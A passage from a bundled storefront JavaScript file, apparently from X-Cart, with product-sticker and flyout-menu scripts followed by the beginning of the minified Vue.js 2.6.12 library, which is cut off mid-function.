'top': this.calculateTopOffset(y, y1)+(this.calculateContainerHeight(y, y1)-y1)}); 6536 container.parent().css({'height': this.calculateContainerHeight(y, y1), 'width': this.calculateContainerWidth(y, x1)}); 6537 }, 6538 getDefaultStickerBase: function(product) { 6539 const elem = product.get(0); 6540 6541 const findBox = !!elem.querySelector('.image') 6542 ? product 6543 : elem.querySelectorAll('.product-photo'); 6544 6545 return elem 6546 && !!findBox[0].querySelector('ul.labels') 6547 ? findBox[0].querySelector('ul.labels') 6548 : null; 6549 }, 6550 getCustomStickerBase: function(product) { 6551 return product ? product.find('.product-stickers > ul') : null; 6552 }, 6553 getDefaultStickers: function(product) { 6554 let self = this; 6555 let base = this.getDefaultStickerBase(product); 6556 let labels = (base ? $(base).find('li').clone().toArray() : []).c
6556oncat( 6557 product.find('.product-freeship-label:not(.product-sticker)').clone().addClass('product-sticker').toArray() 6558 ); 6559 6560 if (this.config.move_labels) { 6561 labels = _.each(labels, function (label) { 6562 _.each(self.config.labels, function (relation) { 6563 if ( 6564 $(label).hasClass(relation.name) 6565 || $(label).hasClass('product-freeship-label') && relation.name === 'free-shipping' 6566 ) { 6567 $(label).find(".content").css({ 6568 'background': '#' + relation.bg_color, 6569 'color': '#' + relation.text_color 6570 }); 6571 return $(label); 6572 } 6573 }); 6574 }); 6575 } 6576 6577 return labels; 6578 }, 6579 getCustomStickers: function(product) { 6580 let base = this.getCustomStickerBase(product); 6581 return base ? base.find('li').clone().toArray() : []; 6582 }, 6583 getAllStickers: function(product) { 6584 return this.showLabelsAsStickers() 6585 ? this.getDefaultStickers(product).concat(this.getCustomStickers(product)) 6586 : this.getCustomStickers(product); 6587 }, 6588 getTopStickers: function(product) { 6589 return this.getAllStickers(product).splice(0, this.topStickerQuantity); 6590 }, 6591 getBottomStickers: function(product) { 6592 return this.getAllStickers(product).splice(this.topStickerQuantity, this.bottomStickerQuantity); 6593 }, 6594 calculateLeftOffset: function(x, x1) { 6595 return ((x1-x)/2); 6596 }, 6597 calculateTopOffset: function(y, y1) { 6598 return ((y1-y)/2); 6599 }, 6600 calculateContainerHeight: function(h, h1) { 6601 return (h1 + h/(Math.sqrt(2))); 6602 }, 6603 calculateContainerWidth: function(h, w1) { 6604 return (w1 + h/(Math.sqrt(2))); 6605 }, 6606 isProductPage: function() { 6607 return $("body").hasClass("target-product"); 6608 }, 6609 showLabelsAsStickers: function() { 6610 return this.config.move_labels; 6611 }, 6612 isInitAllowed: function() { 6613 return ( 6614 !this.isProductPage() 6615 || this.config.show_stickers_on_product_pages 6616 || ( 6617 this.showLabelsAsStickers() 6618 && document.getElementsByClassName('items-list-products')?.length 6619 ) 6620 ); 6621 }, 6622} 6623 6624xcart.bind(['list.products.postprocess', 'block.product.details.postprocess'], function(event, data) { 6625 if (stickerController.isInitAllowed()) { 6626 stickerController.productStickerInit(data.widget.base); 6627 $(".box-product .infoBlock .labels, .product-cell .product-photo .labels").show(); 6628 } 6629 if (stickerController.showLabelsAsStickers()) { 6630 $(".box-product .infoBlock .labels, .product-cell .product-photo .labels").hide(); 6631 } 6632});; 6633/* AUTOGENERATED: flyout-menu.js */ 6634/* vim: set ts=2 sw=2 sts=2 et: */ 6635 6636/** 6637 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6638 * See https://www.x-cart.com/license-agreement.html for license details. 6639 */ 6640 6641jQuery(document).ready(function(){ 6642 jQuery('ul.flyout-menu > li:not(.leaf) > a').on("touchstart", function (e) { 6643 6644 jQuery('ul.flyout-menu').addClass('touch'); 6645 6646 var link = jQuery(this); 6647 var li = jQuery(this).parent(); 6648 if (link.hasClass('hover')) { 6649 li.addClass('hover'); 6650 return true; 6651 } else { 6652 link.addClass('hover'); 6653 jQuery('ul.flyout-menu > li > a').not(this).removeClass('hover'); 6654 6655 li.closest('ul.flyout-menu').find('li').removeClass('hover'); 6656 li.addClass('hover'); 6657 6658 e.preventDefault(); 6659 return false; 6660 } 6661 }); 6662});; 6663/* AUTOGENERATED: vue.min.js */ 6664/*! 6665 * Vue.js v2.6.12 6666 * (c) 2014-2020
vendor: 37,807 bytes, lines 6666-6669
6666 Evan You 6667 * Released under the MIT License. 6668 */ 6669!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).Vue=t()}(this,function(){"use strict";var e=Object.freeze({});function t(e){return null==e}function n(e){return null!=e}function r(e){return!0===e}function i(e){return"string"==typeof e||"number"==typeof e||"symbol"==typeof e||"boolean"==typeof e}function o(e){return null!==e&&"object"==typeof e}var a=Object.prototype.toString;function s(e){return"[object Object]"===a.call(e)}function c(e){var t=parseFloat(String(e));return t>=0&&Math.floor(t)===t&&isFinite(e)}function u(e){return n(e)&&"function"==typeof e.then&&"function"==typeof e.catch}function l(e){return null==e?"":Array.isArray(e)||s(e)&&e.toString===a?JSON.stringify(e,null,2):String(e)}function f(e){var t=parseFloat(e);return isNaN(t)?e:t}function p(e,t){for(var n=Object.create(null),r=e.split(","),i=0;i<r.length;i++)n[r[i]]=!0;return t?function(e){return n[e.toLowerCase()]}:function(e){return n[e]}}var d=p("slot,component",!0),v=p("key,ref,slot,slot-scope,is");function h(e,t){if(e.length){var n=e.indexOf(t);if(n>-1)return e.splice(n,1)}}var m=Object.prototype.hasOwnProperty;function y(e,t){return m.call(e,t)}function g(e){var t=Object.create(null);return function(n){return t[n]||(t[n]=e(n))}}var _=/-(\w)/g,b=g(function(e){return e.replace(_,function(e,t){return t?t.toUpperCase():""})}),$=g(function(e){return e.charAt(0).toUpperCase()+e.slice(1)}),w=/\B([A-Z])/g,C=g(function(e){return e.replace(w,"-$1").toLowerCase()});var x=Function.prototype.bind?function(e,t){return e.bind(t)}:function(e,t){function n(n){var r=arguments.length;return r?r>1?e.apply(t,arguments):e.call(t,n):e.call(t)}return n._length=e.length,n};function k(e,t){t=t||0;for(var n=e.length-t,r=new Array(n);n--;)r[n]=e[n+t];return r}function A(e,t){for(var n in t)e[n]=t[n];return e}function O(e){for(var t={},n=0;n<e.length;n++)e[n]&&A(t,e[n]);return t}function S(e,t,n){}var T=function(e,t,n){return!1},E=function(e){return e};function N(e,t){if(e===t)return!0;var n=o(e),r=o(t);if(!n||!r)return!n&&!r&&String(e)===String(t);try{var i=Array.isArray(e),a=Array.isArray(t);if(i&&a)return e.length===t.length&&e.every(function(e,n){return N(e,t[n])});if(e instanceof Date&&t instanceof Date)return e.getTime()===t.getTime();if(i||a)return!1;var s=Object.keys(e),c=Object.keys(t);return s.length===c.length&&s.every(function(n){return N(e[n],t[n])})}catch(e){return!1}}function j(e,t){for(var n=0;n<e.length;n++)if(N(e[n],t))return n;return-1}function D(e){var t=!1;return function(){t||(t=!0,e.apply(this,arguments))}}var L="data-server-rendered",M=["component","directive","filter"],I=["beforeCreate","created","beforeMount","mounted","beforeUpdate","updated","beforeDestroy","destroyed","activated","deactivated","errorCaptured","serverPrefetch"],F={optionMergeStrategies:Object.create(null),silent:!1,productionTip:!1,devtools:!1,performance:!1,errorHandler:null,warnHandler:null,ignoredElements:[],keyCodes:Object.create(null),isReservedTag:T,isReservedAttr:T,isUnknownElement:T,getTagNamespace:S,parsePlatformTagName:E,mustUseProp:T,async:!0,_lifecycleHooks:I},P=/a-zA-Z\u00B7\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u037D\u037F-\u1FFF\u200C-\u200D\u203F-\u2040\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD/;function R(e,t,n,r){Object.defineProperty(e,t,{value:n,enumerable:!!r,writable:!0,configurable:!0})}var H=new RegExp("[^"+P.source+".$_\\d]");var B,U="__proto__"in{},z="undefined"!=typeof window,V="undefined"!=typeof WXEnvironment&&!!WXEnvironment.platform,K=V&&WXEnvironment.platform.toLowerCase(),J=z&&window.navigator.userAgent.toLowerCase(),q=J&&/msie|trident/.test(J),W=J&&J.indexOf("msie 9.0")>0,Z=J&&J.indexOf("edge/")>0,G=(J&&J.indexOf("android"),J&&/iphone|ipad|ipod|ios/.test(J)||"ios"===K),X=(J&&/chrome\/\d+/.test(J),J&&/phantomjs/.test(J),J&&J.match(/firefox\/(\d+)/)),Y={}.watch,Q=!1;if(z)try{var ee={};Object.defineProperty(ee,"passive",{get:function(){Q=!0}}),window.addEventListener("test-passive",null,ee)}catch(e){}var te=function(){return void 0===B&&(B=!z&&!V&&"undefined"!=typeof global&&(global.process&&"server"===global.process.env.VUE_ENV)),B},ne=z&&window.__VUE_DEVTOOLS_GLOBAL_HOOK__;function re(e){return"function"==typeof e&&/native code/.test(e.toString())}var ie,oe="undefined"!=typeof Symbol&&re(Symbol)&&"undefined"!=typeof Reflect&&re(Reflect.ownKeys);ie="undefined"!=typeof Set&&re(Set)?Set:function(){function e(){this.set=Object.create(null)}return e.prototype.has=function(e){return!0===this.set[e]},e.prototype.add=function(e){this.set[e]=!0},e.prototype.clear=function(){this.set=Object.create(null)},e}();var ae=S,se=0,ce=function(){this.id=se++,this.subs=[]};ce.prototype.addSub=function(e){this.subs.push(e)},ce.prototype.removeSub=function(e){h(this.subs,e)},ce.prototype.depend=function(){ce.target&&ce.target.addDep(this)},ce.prototype.notify=function(){for(var e=this.subs.slice(),t=0,n=e.length;t<n;t++)e[t].update()},ce.target=null;var ue=[];function le(e){ue.push(e),ce.target=e}function fe(){ue.pop(),ce.target=ue[ue.length-1]}var pe=function(e,t,n,r,i,o,a,s){this.tag=e,this.data=t,this.children=n,this.text=r,this.elm=i,this.ns=void 0,this.context=o,this.fnContext=void 0,this.fnOptions=void 0,this.fnScopeId=void 0,this.key=t&&t.key,this.componentOptions=a,this.componentInstance=void 0,this.parent=void 0,this.raw=!1,this.isStatic=!1,this.isRootInsert=!0,this.isComment=!1,this.isCloned=!1,this.isOnce=!1,this.asyncFactory=s,this.asyncMeta=void 0,this.isAsyncPlaceholder=!1},de={child:{configurable:!0}};de.child.get=function(){return this.componentInstance},Object.defineProperties(pe.prototype,de);var ve=function(e){void 0===e&&(e="");var t=new pe;return t.text=e,t.isComment=!0,t};function he(e){return new pe(void 0,void 0,void 0,String(e))}function me(e){var t=new pe(e.tag,e.data,e.children&&e.children.slice(),e.text,e.elm,e.context,e.componentOptions,e.asyncFactory);return t.ns=e.ns,t.isStatic=e.isStatic,t.key=e.key,t.isComment=e.isComment,t.fnContext=e.fnContext,t.fnOptions=e.fnOptions,t.fnScopeId=e.fnScopeId,t.asyncMeta=e.asyncMeta,t.isCloned=!0,t}var ye=Array.prototype,ge=Object.create(ye);["push","pop","shift","unshift","splice","sort","reverse"].forEach(function(e){var t=ye[e];R(ge,e,function(){for(var n=[],r=arguments.length;r--;)n[r]=arguments[r];var i,o=t.apply(this,n),a=this.__ob__;switch(e){case"push":case"unshift":i=n;break;case"splice":i=n.slice(2)}return i&&a.observeArray(i),a.dep.notify(),o})});var _e=Object.getOwnPropertyNames(ge),be=!0;function $e(e){be=e}var we=function(e){var t;this.value=e,this.dep=new ce,this.vmCount=0,R(e,"__ob__",this),Array.isArray(e)?(U?(t=ge,e.__proto__=t):function(e,t,n){for(var r=0,i=n.length;r<i;r++){var o=n[r];R(e,o,t[o])}}(e,ge,_e),this.observeArray(e)):this.walk(e)};function Ce(e,t){var n;if(o(e)&&!(e instanceof pe))return y(e,"__ob__")&&e.__ob__ instanceof we?n=e.__ob__:be&&!te()&&(Array.isArray(e)||s(e))&&Object.isExtensible(e)&&!e._isVue&&(n=new we(e)),t&&n&&n.vmCount++,n}function xe(e,t,n,r,i){var o=new ce,a=Object.getOwnPropertyDescriptor(e,t);if(!a||!1!==a.configurable){var s=a&&a.get,c=a&&a.set;s&&!c||2!==arguments.length||(n=e[t]);var u=!i&&Ce(n);Object.defineProperty(e,t,{enumerable:!0,configurable:!0,get:function(){var t=s?s.call(e):n;return ce.target&&(o.depend(),u&&(u.dep.depend(),Array.isArray(t)&&function e(t){for(var n=void 0,r=0,i=t.length;r<i;r++)(n=t[r])&&n.__ob__&&n.__ob__.dep.depend(),Array.isArray(n)&&e(n)}(t))),t},set:function(t){var r=s?s.call(e):n;t===r||t!=t&&r!=r||s&&!c||(c?c.call(e,t):n=t,u=!i&&Ce(t),o.notify())}})}}function ke(e,t,n){if(Array.isArray(e)&&c(t))return e.length=Math.max(e.length,t),e.splice(t,1,n),n;if(t in e&&!(t in Object.prototype))return e[t]=n,n;var r=e.__ob__;return e._isVue||r&&r.vmCount?n:r?(xe(r.value,t,n),r.dep.notify(),n):(e[t]=n,n)}function Ae(e,t){if(Array.isArray(e)&&c(t))e.splice(t,1);else{var n=e.__ob__;e._isVue||n&&n.vmCount||y(e,t)&&(delete e[t],n&&n.dep.notify())}}we.prototype.walk=function(e){for(var t=Object.keys(e),n=0;n<t.length;n++)xe(e,t[n])},we.prototype.observeArray=function(e){for(var t=0,n=e.length;t<n;t++)Ce(e[t])};var Oe=F.optionMergeStrategies;function Se(e,t){if(!t)return e;for(var n,r,i,o=oe?Reflect.ownKeys(t):Object.keys(t),a=0;a<o.length;a++)"__ob__"!==(n=o[a])&&(r=e[n],i=t[n],y(e,n)?r!==i&&s(r)&&s(i)&&Se(r,i):ke(e,n,i));return e}function Te(e,t,n){return n?function(){var r="function"==typeof t?t.call(n,n):t,i="function"==typeof e?e.call(n,n):e;return r?Se(r,i):i}:t?e?function(){return Se("function"==typeof t?t.call(this,this):t,"function"==typeof e?e.call(this,this):e)}:t:e}function Ee(e,t){var n=t?e?e.concat(t):Array.isArray(t)?t:[t]:e;return n?function(e){for(var t=[],n=0;n<e.length;n++)-1===t.indexOf(e[n])&&t.push(e[n]);return t}(n):n}function Ne(e,t,n,r){var i=Object.create(e||null);return t?A(i,t):i}Oe.data=function(e,t,n){return n?Te(e,t,n):t&&"function"!=typeof t?e:Te(e,t)},I.forEach(function(e){Oe[e]=Ee}),M.forEach(function(e){Oe[e+"s"]=Ne}),Oe.watch=function(e,t,n,r){if(e===Y&&(e=void 0),t===Y&&(t=void 0),!t)return Object.create(e||null);if(!e)return t;var i={};for(var o in A(i,e),t){var a=i[o],s=t[o];a&&!Array.isArray(a)&&(a=[a]),i[o]=a?a.concat(s):Array.isArray(s)?s:[s]}return i},Oe.props=Oe.methods=Oe.inject=Oe.computed=function(e,t,n,r){if(!e)return t;var i=Object.create(null);return A(i,e),t&&A(i,t),i},Oe.provide=Te;var je=function(e,t){return void 0===t?e:t};function De(e,t,n){if("function"==typeof t&&(t=t.options),function(e,t){var n=e.props;if(n){var r,i,o={};if(Array.isArray(n))for(r=n.length;r--;)"string"==typeof(i=n[r])&&(o[b(i)]={type:null});else if(s(n))for(var a in n)i=n[a],o[b(a)]=s(i)?i:{type:i};e.props=o}}(t),function(e,t){var n=e.inject;if(n){var r=e.inject={};if(Array.isArray(n))for(var i=0;i<n.length;i++)r[n[i]]={from:n[i]};else if(s(n))for(var o in n){var a=n[o];r[o]=s(a)?A({from:o},a):{from:a}}}}(t),function(e){var t=e.directives;if(t)for(var n in t){var r=t[n];"function"==typeof r&&(t[n]={bind:r,update:r})}}(t),!t._base&&(t.extends&&(e=De(e,t.extends,n)),t.mixins))for(var r=0,i=t.mixins.length;r<i;r++)e=De(e,t.mixins[r],n);var o,a={};for(o in e)c(o);for(o in t)y(e,o)||c(o);function c(r){var i=Oe[r]||je;a[r]=i(e[r],t[r],n,r)}return a}function Le(e,t,n,r){if("string"==typeof n){var i=e[t];if(y(i,n))return i[n];var o=b(n);if(y(i,o))return i[o];var a=$(o);return y(i,a)?i[a]:i[n]||i[o]||i[a]}}function Me(e,t,n,r){var i=t[e],o=!y(n,e),a=n[e],s=Pe(Boolean,i.type);if(s>-1)if(o&&!y(i,"default"))a=!1;else if(""===a||a===C(e)){var c=Pe(String,i.type);(c<0||s<c)&&(a=!0)}if(void 0===a){a=function(e,t,n){if(!y(t,"default"))return;var r=t.default;if(e&&e.$options.propsData&&void 0===e.$options.propsData[n]&&void 0!==e._props[n])return e._props[n];return"function"==typeof r&&"Function"!==Ie(t.type)?r.call(e):r}(r,i,e);var u=be;$e(!0),Ce(a),$e(u)}return a}function Ie(e){var t=e&&e.toString().match(/^\s*function (\w+)/);return t?t[1]:""}function Fe(e,t){return Ie(e)===Ie(t)}function Pe(e,t){if(!Array.isArray(t))return Fe(t,e)?0:-1;for(var n=0,r=t.length;n<r;n++)if(Fe(t[n],e))return n;return-1}function Re(e,t,n){le();try{if(t)for(var r=t;r=r.$parent;){var i=r.$options.errorCaptured;if(i)for(var o=0;o<i.length;o++)try{if(!1===i[o].call(r,e,t,n))return}catch(e){Be(e,r,"errorCaptured hook")}}Be(e,t,n)}finally{fe()}}function He(e,t,n,r,i){var o;try{(o=n?e.apply(t,n):e.call(t))&&!o._isVue&&u(o)&&!o._handled&&(o.catch(function(e){return Re(e,r,i+" (Promise/async)")}),o._handled=!0)}catch(e){Re(e,r,i)}return o}function Be(e,t,n){if(F.errorHandler)try{return F.errorHandler.call(null,e,t,n)}catch(t){t!==e&&Ue(t,null,"config.errorHandler")}Ue(e,t,n)}function Ue(e,t,n){if(!z&&!V||"undefined"==typeof console)throw e;console.error(e)}var ze,Ve=!1,Ke=[],Je=!1;function qe(){Je=!1;var e=Ke.slice(0);Ke.length=0;for(var t=0;t<e.length;t++)e[t]()}if("undefined"!=typeof Promise&&re(Promise)){var We=Promise.resolve();ze=function(){We.then(qe),G&&setTimeout(S)},Ve=!0}else if(q||"undefined"==typeof MutationObserver||!re(MutationObserver)&&"[object MutationObserverConstructor]"!==MutationObserver.toString())ze="undefined"!=typeof setImmediate&&re(setImmediate)?function(){setImmediate(qe)}:function(){setTimeout(qe,0)};else{var Ze=1,Ge=new MutationObserver(qe),Xe=document.createTextNode(String(Ze));Ge.observe(Xe,{characterData:!0}),ze=function(){Ze=(Ze+1)%2,Xe.data=String(Ze)},Ve=!0}function Ye(e,t){var n;if(Ke.push(function(){if(e)try{e.call(t)}catch(e){Re(e,t,"nextTick")}else n&&n(t)}),Je||(Je=!0,ze()),!e&&"undefined"!=typeof Promise)return new Promise(function(e){n=e})}var Qe=new ie;function et(e){!function e(t,n){var r,i;var a=Array.isArray(t);if(!a&&!o(t)||Object.isFrozen(t)||t instanceof pe)return;if(t.__ob__){var s=t.__ob__.dep.id;if(n.has(s))return;n.add(s)}if(a)for(r=t.length;r--;)e(t[r],n);else for(i=Object.keys(t),r=i.length;r--;)e(t[i[r]],n)}(e,Qe),Qe.clear()}var tt=g(function(e){var t="&"===e.charAt(0),n="~"===(e=t?e.slice(1):e).charAt(0),r="!"===(e=n?e.slice(1):e).charAt(0);return{name:e=r?e.slice(1):e,once:n,capture:r,passive:t}});function nt(e,t){function n(){var e=arguments,r=n.fns;if(!Array.isArray(r))return He(r,null,arguments,t,"v-on handler");for(var i=r.slice(),o=0;o<i.length;o++)He(i[o],null,e,t,"v-on handler")}return n.fns=e,n}function rt(e,n,i,o,a,s){var c,u,l,f;for(c in e)u=e[c],l=n[c],f=tt(c),t(u)||(t(l)?(t(u.fns)&&(u=e[c]=nt(u,s)),r(f.once)&&(u=e[c]=a(f.name,u,f.capture)),i(f.name,u,f.capture,f.passive,f.params)):u!==l&&(l.fns=u,e[c]=l));for(c in n)t(e[c])&&o((f=tt(c)).name,n[c],f.capture)}function it(e,i,o){var a;e instanceof pe&&(e=e.data.hook||(e.data.hook={}));var s=e[i];function c(){o.apply(this,arguments),h(a.fns,c)}t(s)?a=nt([c]):n(s.fns)&&r(s.merged)?(a=s).fns.push(c):a=nt([s,c]),a.merged=!0,e[i]=a}function ot(e,t,r,i,o){if(n(t)){if(y(t,r))return e[r]=t[r],o||delete t[r],!0;if(y(t,i))return e[r]=t[i],o||delete t[i],!0}return!1}function at(e){return i(e)?[he(e)]:Array.isArray(e)?function e(o,a){var s=[];var c,u,l,f;for(c=0;c<o.length;c++)t(u=o[c])||"boolean"==typeof u||(l=s.length-1,f=s[l],Array.isArray(u)?u.length>0&&(st((u=e(u,(a||"")+"_"+c))[0])&&st(f)&&(s[l]=he(f.text+u[0].text),u.shift()),s.push.apply(s,u)):i(u)?st(f)?s[l]=he(f.text+u):""!==u&&s.push(he(u)):st(u)&&st(f)?s[l]=he(f.text+u.text):(r(o._isVList)&&n(u.tag)&&t(u.key)&&n(a)&&(u.key="__vlist"+a+"_"+c+"__"),s.push(u)));return s}(e):void 0}function st(e){return n(e)&&n(e.text)&&!1===e.isComment}function ct(e,t){if(e){for(var n=Object.create(null),r=oe?Reflect.ownKeys(e):Object.keys(e),i=0;i<r.length;i++){var o=r[i];if("__ob__"!==o){for(var a=e[o].from,s=t;s;){if(s._provided&&y(s._provided,a)){n[o]=s._provided[a];break}s=s.$parent}if(!s&&"default"in e[o]){var c=e[o].default;n[o]="function"==typeof c?c.call(t):c}}}return n}}function ut(e,t){if(!e||!e.length)return{};for(var n={},r=0,i=e.length;r<i;r++){var o=e[r],a=o.data;if(a&&a.attrs&&a.attrs.slot&&delete a.attrs.slot,o.context!==t&&o.fnContext!==t||!a||null==a.slot)(n.default||(n.default=[])).push(o);else{var s=a.slot,c=n[s]||(n[s]=[]);"template"===o.tag?c.push.apply(c,o.children||[]):c.push(o)}}for(var u in n)n[u].every(lt)&&delete n[u];return n}function lt(e){return e.isComment&&!e.asyncFactory||" "===e.text}function ft(t,n,r){var i,o=Object.keys(n).length>0,a=t?!!t.$stable:!o,s=t&&t.$key;if(t){if(t._normalized)return t._normalized;if(a&&r&&r!==e&&s===r.$key&&!o&&!r.$hasNormal)return r;for(var c in i={},t)t[c]&&"$"!==c[0]&&(i[c]=pt(n,c,t[c]))}else i={};for(var u in n)u in i||(i[u]=dt(n,u));return t&&Object.isExtensible(t)&&(t._normalized=i),R(i,"$stable",a),R(i,"$key",s),R(i,"$hasNormal",o),i}function pt(e,t,n){var r=function(){var e=arguments.length?n.apply(null,arguments):n({});return(e=e&&"object"==typeof e&&!Array.isArray(e)?[e]:at(e))&&(0===e.length||1===e.length&&e[0].isComment)?void 0:e};return n.proxy&&Object.defineProperty(e,t,{get:r,enumerable:!0,configurable:!0}),r}function dt(e,t){return function(){return e[t]}}function vt(e,t){var r,i,a,s,c;if(Array.isArray(e)||"string"==typeof e)for(r=new Array(e.length),i=0,a=e.length;i<a;i++)r[i]=t(e[i],i);else if("number"==typeof e)for(r=new Array(e),i=0;i<e;i++)r[i]=t(i+1,i);else if(o(e))if(oe&&e[Symbol.iterator]){r=[];for(var u=e[Symbol.iterator](),l=u.next();!l.done;)r.push(t(l.value,r.length)),l=u.next()}else for(s=Object.keys(e),r=new Array(s.length),i=0,a=s.length;i<a;i++)c=s[i],r[i]=t(e[c],c,i);return n(r)||(r=[]),r._isVList=!0,r}function ht(e,t,n,r){var i,o=this.$scopedSlots[e];o?(n=n||{},r&&(n=A(A({},r),n)),i=o(n)||t):i=this.$slots[e]||t;var a=n&&n.slot;return a?this.$createElement("template",{slot:a},i):i}function mt(e){return Le(this.$options,"filters",e)||E}function yt(e,t){return Array.isArray(e)?-1===e.indexOf(t):e!==t}function gt(e,t,n,r,i){var o=F.keyCodes[t]||n;return i&&r&&!F.keyCodes[t]?yt(i,r):o?yt(o,e):r?C(r)!==t:void 0}function _t(e,t,n,r,i){if(n)if(o(n)){var a;Array.isArray(n)&&(n=O(n));var s=function(o){if("class"===o||"style"===o||v(o))a=e;else{var s=e.attrs&&e.attrs.type;a=r||F.mustUseProp(t,s,o)?e.domProps||(e.domProps={}):e.attrs||(e.attrs={})}var c=b(o),u=C(o);c in a||u in a||(a[o]=n[o],i&&((e.on||(e.on={}))["update:"+o]=function(e){n[o]=e}))};for(var c in n)s(c)}else;return e}function bt(e,t){var n=this._staticTrees||(this._staticTrees=[]),r=n[e];return r&&!t?r:(wt(r=n[e]=this.$options.staticRenderFns[e].call(this._renderProxy,null,this),"__static__"+e,!1),r)}function $t(e,t,n){return wt(e,"__once__"+t+(n?"_"+n:""),!0),e}function wt(e,t,n){if(Array.isArray(e))for(var r=0;r<e.length;r++)e[r]&&"string"!=typeof e[r]&&Ct(e[r],t+"_"+r,n);else Ct(e,t,n)}function Ct(e,t,n){e.isStatic=!0,e.key=t,e.isOnce=n}function xt(e,t){if(t)if(s(t)){var n=e.on=e.on?A({},e.on):{};for(var r in t){var i=n[r],o=t[r];n[r]=i?[].concat(i,o):o}}else;return e}function kt(e,t,n,r){t=t||{$stable:!n};for(var i=0;i<e.length;i++){var o=e[i];Array.isArray(o)?kt(o,t,n):o&&(o.proxy&&(o.fn.proxy=!0),t[o.key]=o.fn)}return r&&(t.$key=r),t}function At(e,t){for(var n=0;n<t.length;n+=2){var r=t[n];"string"==typeof r&&r&&(e[t[n]]=t[n+1])}return e}function Ot(e,t){return"string"==typeof e?t+e:e}function St(e){e._o=$t,e._n=f,e._s=l,e._l=vt,e._t=ht,e._q=N,e._i=j,e._m=bt,e._f=mt,e._k=gt,e._b=_t,e._v=he,e._e=ve,e._u=kt,e._g=xt,e._d=At,e._p=Ot}function Tt(t,n,i,o,a){var s,c=this,u=a.options;y(o,"_uid")?(s=Object.create(o))._original=o:(s=o,o=o._original);var l=r(u._compiled),f=!l;this.data=t,this.props=n,this.children=i,this.parent=o,this.listeners=t.on||e,this.injections=ct(u.inject,o),this.slots=function(){return c.$slots||ft(t.scopedSlots,c.$slots=ut(i,o)),c.$slots},Object.defineProperty(this,"scopedSlots",{enumerable:!0,get:function(){return ft(t.scopedSlots,this.slots())}}),l&&(this.$options=u,this.$slots=this.slots(),this.$scopedSlots=ft(t.scopedSlots,this.$slots)),u._scopeId?this._c=function(e,t,n,r){var i=Pt(s,e,t,n,r,f);return i&&!Array.isArray(i)&&(i.fnScopeId=u._scopeId,i.fnContext=o),i}:this._c=function(e,t,n,r){return Pt(s,e,t,n,r,f)}}function Et(e,t,n,r,i){var o=me(e);return o.fnContext=n,o.fnOptions=r,t.slot&&((o.data||(o.data={})).slot=t.slot),o}function Nt(e,t){for(var n in t)e[b(n)]=t[n]}St(Tt.prototype);var jt={init:function(e,t){if(e.componentInstance&&!e.componentInstance._isDestroyed&&e.data.keepAlive){var r=e;jt.prepatch(r,r)}else{(e.componentInstance=function(e,t){var r={_isComponent:!0,_parentVnode:e,parent:t},i=e.data.inlineTemplate;n(i)&&(r.render=i.render,r.staticRenderFns=i.staticRenderFns);return new e.componentOptions.Ctor(r)}(e,Wt)).$mount(t?e.elm:void 0,t)}},prepatch:function(t,n){var r=n.componentOptions;!function(t,n,r,i,o){var a=i.data.scopedSlots,s=t.$scopedSlots,c=!!(a&&!a.$stable||s!==e&&!s.$stable||a&&t.$scopedSlots.$key!==a.$key),u=!!(o||t.$options._renderChildren||c);t.$options._parentVnode=i,t.$vnode=i,t._vnode&&(t._vnode.parent=i);if(t.$options._renderChildren=o,t.$attrs=i.data.attrs||e,t.$listeners=r||e,n&&t.$options.props){$e(!1);for(var l=t._props,f=t.$options._propKeys||[],p=0;p<f.length;p++){var d=f[p],v=t.$options.props;l[d]=Me(d,v,n,t)}$e(!0),t.$options.propsData=n}r=r||e;var h=t.$options._parentListeners;t.$options._parentListeners=r,qt(t,r,h),u&&(t.$slots=ut(o,i.context),t.$forceUpdate())}(n.componentInstance=t.componentInstance,r.propsData,r.listeners,n,r.children)},insert:function(e){var t,n=e.context,r=e.componentInstance;r._isMounted||(r._isMounted=!0,Yt(r,"mounted")),e.data.keepAlive&&(n._isMounted?((t=r)._inactive=!1,en.push(t)):Xt(r,!0))},destroy:function(e){var t=e.componentInstance;t._isDestroyed||(e.data.keepAlive?function e(t,n){if(n&&(t._directInactive=!0,Gt(t)))return;if(!t._inactive){t._inactive=!0;for(var r=0;r<t.$children.length;r++)e(t.$children[r]);Yt(t,"deactivated")}}(t,!0):t.$destroy())}},Dt=Object.keys(jt);function Lt(i,a,s,c,l){if(!t(i)){var f=s.$options._base;if(o(i)&&(i=f.extend(i)),"function"==typeof i){var p;if(t(i.cid)&&void 0===(i=function(e,i){if(r(e.error)&&n(e.errorComp))return e.errorComp;if(n(e.resolved))return e.resolved;var a=Ht;a&&n(e.owners)&&-1===e.owners.indexOf(a)&&e.owners.push(a);if(r(e.loading)&&n(e.loadingComp))return e.loadingComp;if(a&&!n(e.owners)){var s=e.owners=[a],c=!0,l=null,f=null;a.$on("hook:destroyed",function(){return h(s,a)});var p=function(e){for(var t=0,n=s.length;t<n;t++)s[t].$forceUpdate();e&&(s.length=0,null!==l&&(clearTimeout(l),l=null),null!==f&&(clearTimeout(f),f=null))},d=D(function(t){e.resolved=Bt(t,i),c?s.length=0:p(!0)}),v=D(function(t){n(e.errorComp)&&(e.error=!0,p(!0))}),m=e(d,v);return o(m)&&(u(m)?t(e.resolved)&&m.then(d,v):u(m.component)&&(m.component.then(d,v),n(m.error)&&(e.errorComp=Bt(m.error,i)),n(m.loading)&&(e.loadingComp=Bt(m.loading,i),0===m.delay?e.loading=!0:l=setTimeout(function(){l=null,t(e.resolved)&&t(e.error)&&(e.loading=!0,p(!1))},m.delay||200)),n(m.timeout)&&(f=setTimeout(function(){f=null,t(e.resolved)&&v(null)},m.timeout)))),c=!1,e.loading?e.loadingComp:e.resolved}}(p=i,f)))return function(e,t,n,r,i){var o=ve();return o.asyncFactory=e,o.asyncMeta={data:t,context:n,children:r,tag:i},o}(p,a,s,c,l);a=a||{},$n(i),n(a.model)&&function(e,t){var r=e.model&&e.model.prop||"value",i=e.model&&e.model.event||"input";(t.attrs||(t.attrs={}))[r]=t.model.value;var o=t.on||(t.on={}),a=o[i],s=t.model.callback;n(a)?(Array.isArray(a)?-1===a.indexOf(s):a!==s)&&(o[i]=[s].concat(a)):o[i]=s}(i.options,a);var d=function(e,r,i){var o=r.options.props;if(!t(o)){var 